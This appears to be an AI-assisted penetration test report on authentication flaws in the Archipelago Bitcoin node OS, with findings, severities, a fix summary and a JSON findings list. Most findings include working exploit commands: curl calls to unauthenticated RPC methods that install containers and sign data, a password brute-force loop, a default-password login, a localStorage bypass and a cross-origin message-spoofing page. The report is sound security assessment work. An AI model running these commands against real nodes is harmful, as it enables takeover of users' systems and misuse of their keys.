Overnight pentest run produced recon, analysis, exploitation reports, and a full security assessment. Plan.md updated with 22 prioritized fix items for auth, SSRF, injection, XSS, and hardening. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
21 KiB
Now I have a complete picture. Let me compile the full vulnerability report.
Authentication & Authorization Vulnerability Assessment
Target: http://192.168.1.228 (Archipelago Bitcoin Node OS)
Scope: Authentication, Authorization, and Session Management
Method: Source code review + limited live probing (backend was down during testing)
AUTH-001: Complete Absence of Server-Side Session Management
Type: Missing Authentication
Location: POST /rpc/v1 — all RPC methods
Source file: core/archipelago/src/api/rpc/mod.rs:71-140
Confidence: HIGH
The auth.login handler (core/archipelago/src/api/rpc/auth.rs:5-32) verifies the password against a bcrypt hash, then returns serde_json::Value::Null — no session token, no cookie, no JWT is created or returned. There is zero server-side session state.
The handle() method at mod.rs:71 receives the request, deserializes the JSON body, and dispatches directly to the method handler based on the method string. No middleware, no session check, no cookie validation occurs at any point in the request lifecycle.
Evidence:
auth.rs:31returnsOk(serde_json::Value::Null)on successful login — no session createdhandler.rs:34-75routes requests with no middleware chainserver.rs:125-157creates a raw hyperservice_fnwith no middleware wrapping- The
core/startos/src/middleware/auth.rscontains a full session middleware (HasValidSession, cookie parsing, SHA-256 token hashing, rate limiting) but it is completely unused by the archipelago binary
Suggested exploit:
# Any endpoint callable without any auth token/cookie
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"node.did","params":{}}'
AUTH-002: All 30+ Sensitive RPC Endpoints Callable Without Authentication
Type: Missing Authorization Checks on Sensitive Endpoints
Location: POST /rpc/v1 with various method values
Source file: core/archipelago/src/api/rpc/mod.rs:86-139
Confidence: HIGH
Every RPC method is callable by any network client without authentication. The full list of unprotected methods:
| Category | Methods | Impact |
|---|---|---|
| Container control | container-install, container-start, container-stop, container-remove |
Full container lifecycle control |
| Package management | package.install, package.start, package.stop, package.restart, package.uninstall |
Install/run arbitrary Docker images |
| Cryptographic operations | node.signChallenge, node.createBackup |
Sign arbitrary data with node private key, export encrypted identity |
| Identity exposure | node.did, node.nostr-pubkey, node.tor-address |
Leak node identity, Nostr keys, Tor hidden service address |
| P2P operations | node-add-peer, node-remove-peer, node-send-message, node-list-peers |
Manipulate peer list, send messages as node |
| Nostr publication | node.nostr-publish |
Publish node identity to Nostr relays |
| Auth management | auth.changePassword, auth.resetOnboarding |
Reset onboarding state |
| Bitcoin/Lightning | bitcoin.getinfo, lnd.getinfo |
Access chain/channel data |
Evidence: mod.rs:86-139 — flat match statement with zero auth gating.
Suggested exploit:
# Install and run any container image
curl -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"package.install","params":{"id":"malicious","dockerImage":"attacker/image:tag"}}'
# Sign arbitrary data with node's ed25519 private key
curl -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"node.signChallenge","params":{"challenge":"arbitrary data to sign"}}'
AUTH-003: No Brute Force Protection on Login
Type: Missing Rate Limiting / Account Lockout
Location: POST /rpc/v1 with method: "auth.login"
Source file: core/archipelago/src/api/rpc/auth.rs:5-32
Confidence: HIGH
The login handler has no rate limiting, no account lockout, no progressive delays, and no CAPTCHA. The core/startos/src/middleware/auth.rs:240-256 implements rate limiting (3 attempts per 20 seconds) but this middleware is not connected to the archipelago backend.
Bcrypt hashing provides some natural slowdown (~100ms per attempt at DEFAULT_COST=12), allowing ~600 attempts/minute.
Evidence:
auth.rs:5-32— straightforward password check with no rate limiting logic- No rate-limiting state anywhere in the archipelago codebase
- No nginx rate limiting on
/rpc/innginx-archipelago.conf
Suggested exploit:
# Unlimited login attempts with no lockout
for pw in $(cat /path/to/wordlist.txt); do
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d "{\"method\":\"auth.login\",\"params\":{\"password\":\"$pw\"}}"
done
AUTH-004: Hardcoded Default Credentials (Dev Mode)
Type: Default/Test Credentials
Location: POST /rpc/v1 with method: "auth.login"
Source files:
core/archipelago/src/api/rpc/mod.rs:40—DEV_DEFAULT_PASSWORD = "password123"core/archipelago/src/main.rs:47-53— auto-creates user with default passwordcore/archipelago/src/api/rpc/auth.rs:17-20— accepts default password when user not setup
Confidence: HIGH
When dev_mode=true in config:
main.rs:49-50auto-createsuser.jsonwith bcrypt hash of"password123"auth.rs:18accepts"password123"even without user setup
The config defaults dev_mode: false (config.rs:197), but if the production server has ARCHIPELAGO_DEV_MODE=true in its environment or config, this backdoor is active. The CLAUDE.md confirms the dev server uses password123.
Evidence: The constant DEV_DEFAULT_PASSWORD is defined in two places (mod.rs:40, main.rs:28).
Suggested exploit:
curl -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"auth.login","params":{"password":"password123"}}'
AUTH-005: Frontend-Only Authentication Enforcement
Type: Client-Side Authentication Bypass
Location: Browser localStorage + Vue router guards
Source files:
neode-ui/src/stores/app.ts:12—isAuthenticatedbased on localStorageneode-ui/src/router/index.ts:157-214— navigation guardneode-ui/src/stores/app.ts:190-219— session validation
Confidence: HIGH
Authentication enforcement exists only in the Vue.js frontend:
app.ts:12— auth state islocalStorage.getItem('neode-auth') === 'true'app.ts:196— session validation callsserver.echoto "verify" the session- Since
server.echorequires no authentication (it's just another unprotected RPC method), session validation always succeeds if the backend is reachable
This creates a circular trust problem: the frontend validates the session by calling an unprotected endpoint, which always succeeds, so localStorage['neode-auth'] = 'true' is sufficient to be "authenticated" forever.
Evidence:
- Router guard at
index.ts:183-193— iflocalStoragesays authenticated, user proceeds to protected routes, with session check (that always succeeds) running in background app.ts:196—server.echoalways returns successfully regardless of auth state
Suggested exploit:
// In browser console at http://192.168.1.228/login
localStorage.setItem('neode-auth', 'true')
window.location.href = '/dashboard'
// Full dashboard access without password
AUTH-006: No-Op Logout Implementation
Type: Session Invalidation Failure
Location: POST /rpc/v1 with method: "auth.logout"
Source file: core/archipelago/src/api/rpc/auth.rs:34-36
Confidence: HIGH
pub(super) async fn handle_auth_logout(&self) -> Result<serde_json::Value> {
Ok(serde_json::Value::Null)
}
The logout handler is a complete no-op. Since no session was ever created (AUTH-001), there is nothing to invalidate. The frontend logout (app.ts:55-70) clears localStorage and disconnects the WebSocket, but this is entirely client-side.
Evidence: Three lines of code, returns null immediately.
Suggested exploit: Not applicable — logout has no server-side effect because there is no server-side session.
AUTH-007: Unauthenticated WebSocket Access
Type: Missing Authentication on Data Stream
Location: GET /ws/db (WebSocket upgrade)
Source file: core/archipelago/src/api/handler.rs:42-44, 190-287
Confidence: HIGH
The WebSocket endpoint at /ws/db (handler.rs:42-43) accepts connections without any authentication. Upon connection, it immediately sends the full server state dump (handler.rs:216-223) including:
- Node identity (pubkey, DID)
- Tor hidden service address
- All installed package states
- Server configuration
Any client on the network receives all state updates in real-time.
Evidence: handler.rs:42-44 — WebSocket upgrade with no session/token check:
if method == Method::GET && path == "/ws/db" {
return Self::handle_websocket(req, self.state_manager.clone()).await;
}
Suggested exploit:
const ws = new WebSocket('ws://192.168.1.228/ws/db')
ws.onmessage = (e) => console.log(JSON.parse(e.data))
// Receives full state dump immediately
AUTH-008: Unauthenticated P2P Message Injection
Type: Missing Authentication + Missing Input Validation (Spoofing)
Location: POST /archipelago/node-message
Source file: core/archipelago/src/api/handler.rs:125-145, core/archipelago/src/node_message.rs:26-38
Confidence: HIGH
The P2P message endpoint accepts arbitrary from_pubkey and message values without:
- Authentication of the sender
- Signature verification (the
from_pubkeyis self-claimed, not cryptographically verified) - Any access control
Messages are stored in-memory (node_message.rs:28-33) and served to the UI. Spoofed messages are indistinguishable from legitimate ones.
Evidence: handler.rs:131-137 — deserializes and stores without verification:
if let (Some(from), Some(msg)) = (incoming.from_pubkey, incoming.message) {
node_msg::store_received(&from, &msg).await;
}
Suggested exploit:
curl -X POST http://192.168.1.228/archipelago/node-message \
-H 'Content-Type: application/json' \
-d '{"from_pubkey":"spoofed_key_123","message":"Fake message from attacker"}'
AUTH-009: CORS Wildcard on Non-RPC Endpoints
Type: Permissive CORS Policy
Location: Multiple HTTP endpoints
Source file: core/archipelago/src/api/handler.rs:15, 108, 118, 142, 153, 173
Confidence: HIGH
CORS_ANY = "*" is applied to these endpoints:
/api/container/logs(line 108, 118)/archipelago/node-message(line 142)/electrs-status(line 153)/proxy/lnd/*(line 173)
This enables drive-by attacks from any website. A malicious webpage could inject P2P messages, read container logs, read electrs sync status, and proxy requests to LND.
Note: The main /rpc/v1 endpoint does not set CORS headers (handler.rs:164-168), so browser-based cross-origin XHR to RPC is blocked. However, this only protects against browser-based attacks — direct curl/script access is unrestricted.
Evidence: const CORS_ANY: &str = "*"; at handler.rs:15.
Suggested exploit:
<!-- Attacker's webpage, visited by someone on the same network -->
<script>
// Inject spoofed P2P messages via CORS wildcard
fetch('http://192.168.1.228/archipelago/node-message', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({from_pubkey: 'attacker', message: 'phishing message'})
})
</script>
AUTH-010: Weak Initial Password Policy
Type: Password Policy Enforcement Gap
Location: Frontend setup flow
Source files:
neode-ui/src/views/Login.vue:212— 8-char minimum for initial setupcore/archipelago/src/auth.rs:172-190— 12-char + complexity for password change
Confidence: MEDIUM
The initial password setup (Login.vue line 212) requires only 8 characters with no complexity requirements. The password change flow (auth.rs:172-190) requires 12+ characters with uppercase, lowercase, digit, and special character. This means the initial password can be significantly weaker than what's required for subsequent changes.
Note: The auth.setup method doesn't actually exist in the backend RPC handler (not in mod.rs:86-139), so the setup flow may only work via the mock backend in dev mode. However, auth.rs:49 (setup_user) has no password strength validation either.
Evidence: Login.vue:212:
if (password.value.length < 8) { ... }
vs auth.rs:174:
if password.len() < 12 { anyhow::bail!("Password must be at least 12 characters"); }
AUTH-011: Unauthenticated LND Proxy (SSRF Vector)
Type: Missing Authorization + Server-Side Request Forgery
Location: GET /proxy/lnd/*
Source file: core/archipelago/src/api/handler.rs:158-188
Confidence: HIGH
The LND proxy at /proxy/lnd/ forwards requests to http://127.0.0.1:8080 without any authentication. The path suffix is directly concatenated into the URL (handler.rs:159):
let suffix = path.strip_prefix("/proxy/lnd").unwrap_or("/");
let url = format!("http://127.0.0.1:8080{}", suffix);
This exposes internal LND REST API endpoints to unauthenticated external access, and the path construction could potentially be abused for limited SSRF (though constrained to port 8080).
Suggested exploit:
# Access LND REST API without authentication
curl http://192.168.1.228/proxy/lnd/v1/getinfo
curl http://192.168.1.228/proxy/lnd/v1/balance/channels
AUTH-012: Unauthenticated Container Log Access
Type: Missing Authorization on Sensitive Data
Location: GET /api/container/logs?app_id=*
Source file: core/archipelago/src/api/handler.rs:64-66, 77-123
Confidence: HIGH
Container logs are accessible without authentication via the HTTP GET endpoint. Logs can contain sensitive information (configuration, errors, internal IPs, credentials in error messages).
Suggested exploit:
curl "http://192.168.1.228/api/container/logs?app_id=lnd&lines=500"
curl "http://192.168.1.228/api/container/logs?app_id=bitcoin&lines=500"
AUTH-013: Disconnected Authentication Infrastructure
Type: Architectural Authentication Gap
Location: core/startos/src/middleware/auth.rs vs core/archipelago/
Source files:
core/startos/src/middleware/auth.rs:1-285— complete auth middleware (unused)core/startos/src/middleware/mod.rs— middleware module (unused)
Confidence: HIGH (informational)
A complete authentication middleware exists in the startos crate including:
- Session token validation via SHA-256 hashed cookies (
auth.rs:65-92) - Session creation with database persistence (
auth.rs:44-57) - Rate limiting: 3 login attempts per 20 seconds (
auth.rs:240-256) HasValidSessionguard pattern (auth.rs:62)
The archipelago backend binary does not import or use any of this middleware. The RPC handler was built from scratch without plugging into the existing auth infrastructure.
Summary
| ID | Type | Endpoint | Confidence | Severity |
|---|---|---|---|---|
| AUTH-001 | No session management | /rpc/v1 (auth.login) |
HIGH | CRITICAL |
| AUTH-002 | No auth on 30+ endpoints | /rpc/v1 (all methods) |
HIGH | CRITICAL |
| AUTH-003 | No brute force protection | /rpc/v1 (auth.login) |
HIGH | HIGH |
| AUTH-004 | Default credentials | /rpc/v1 (auth.login) |
HIGH | HIGH |
| AUTH-005 | Client-side auth only | Frontend router/localStorage | HIGH | CRITICAL |
| AUTH-006 | No-op logout | /rpc/v1 (auth.logout) |
HIGH | MEDIUM |
| AUTH-007 | Unauth WebSocket | /ws/db |
HIGH | HIGH |
| AUTH-008 | Unauth message injection | /archipelago/node-message |
HIGH | HIGH |
| AUTH-009 | CORS wildcard | Multiple non-RPC endpoints | HIGH | HIGH |
| AUTH-010 | Weak initial password | Frontend setup flow | MEDIUM | MEDIUM |
| AUTH-011 | Unauth LND proxy | /proxy/lnd/* |
HIGH | HIGH |
| AUTH-012 | Unauth container logs | /api/container/logs |
HIGH | MEDIUM |
| AUTH-013 | Disconnected auth infra | Architectural (informational) | HIGH | INFO |
The root cause is AUTH-001: the login flow verifies passwords but creates no session, and no middleware exists to check sessions on subsequent requests. All other findings flow from this architectural gap. The fix is to wire session creation into auth.login, add session cookies to responses, and add middleware before the RPC dispatch at handler.rs:55 that validates session cookies on all non-public methods.
{
"category": "auth",
"findings": [
{
"id": "AUTH-001",
"type": "missing_session_management",
"endpoint": "/rpc/v1",
"parameter": "method=auth.login",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"auth.login\",\"params\":{\"password\":\"password123\"}}' — observe null response with no Set-Cookie header"
},
{
"id": "AUTH-002",
"type": "missing_authorization",
"endpoint": "/rpc/v1",
"parameter": "method=package.install|node.signChallenge|container-install|node.createBackup|...",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"node.did\",\"params\":{}}' — returns node identity without auth"
},
{
"id": "AUTH-003",
"type": "brute_force_no_protection",
"endpoint": "/rpc/v1",
"parameter": "method=auth.login, password",
"confidence": "high",
"payload_suggestion": "Automated password spray against auth.login with no lockout or rate limit — bcrypt provides ~100ms delay per attempt"
},
{
"id": "AUTH-004",
"type": "default_credentials",
"endpoint": "/rpc/v1",
"parameter": "method=auth.login, password=password123",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"auth.login\",\"params\":{\"password\":\"password123\"}}'"
},
{
"id": "AUTH-005",
"type": "client_side_auth_bypass",
"endpoint": "/dashboard",
"parameter": "localStorage['neode-auth']",
"confidence": "high",
"payload_suggestion": "In browser console: localStorage.setItem('neode-auth','true'); location.href='/dashboard' — full UI access without login"
},
{
"id": "AUTH-006",
"type": "session_invalidation_failure",
"endpoint": "/rpc/v1",
"parameter": "method=auth.logout",
"confidence": "high",
"payload_suggestion": "Logout is a no-op returning null — no server-side session to invalidate"
},
{
"id": "AUTH-007",
"type": "unauthenticated_websocket",
"endpoint": "/ws/db",
"parameter": "N/A",
"confidence": "high",
"payload_suggestion": "wscat -c ws://192.168.1.228/ws/db — receives full server state dump including node identity, Tor address, and all package states"
},
{
"id": "AUTH-008",
"type": "message_spoofing",
"endpoint": "/archipelago/node-message",
"parameter": "from_pubkey, message",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/archipelago/node-message -H 'Content-Type: application/json' -d '{\"from_pubkey\":\"spoofed\",\"message\":\"injected\"}'"
},
{
"id": "AUTH-009",
"type": "cors_wildcard",
"endpoint": "/archipelago/node-message, /api/container/logs, /electrs-status, /proxy/lnd/*",
"parameter": "Access-Control-Allow-Origin: *",
"confidence": "high",
"payload_suggestion": "Drive-by attack from malicious webpage: fetch('http://192.168.1.228/archipelago/node-message', {method:'POST', ...}) — succeeds cross-origin"
},
{
"id": "AUTH-010",
"type": "weak_password_policy",
"endpoint": "/rpc/v1",
"parameter": "method=auth.setup (frontend only), password",
"confidence": "medium",
"payload_suggestion": "Initial setup accepts 8-char passwords without complexity; change requires 12+ with complexity"
},
{
"id": "AUTH-011",
"type": "unauthenticated_ssrf_proxy",
"endpoint": "/proxy/lnd/*",
"parameter": "path suffix",
"confidence": "high",
"payload_suggestion": "curl http://192.168.1.228/proxy/lnd/v1/getinfo — accesses LND REST API without authentication"
},
{
"id": "AUTH-012",
"type": "unauthenticated_data_access",
"endpoint": "/api/container/logs",
"parameter": "app_id, lines",
"confidence": "high",
"payload_suggestion": "curl 'http://192.168.1.228/api/container/logs?app_id=lnd&lines=500' — reads container logs without auth"
},
{
"id": "AUTH-013",
"type": "disconnected_auth_infrastructure",
"endpoint": "N/A (architectural)",
"parameter": "core/startos/src/middleware/auth.rs not wired to core/archipelago/",
"confidence": "high",
"payload_suggestion": "Informational: auth middleware exists in startos crate but is not imported by the archipelago binary"
}
]
}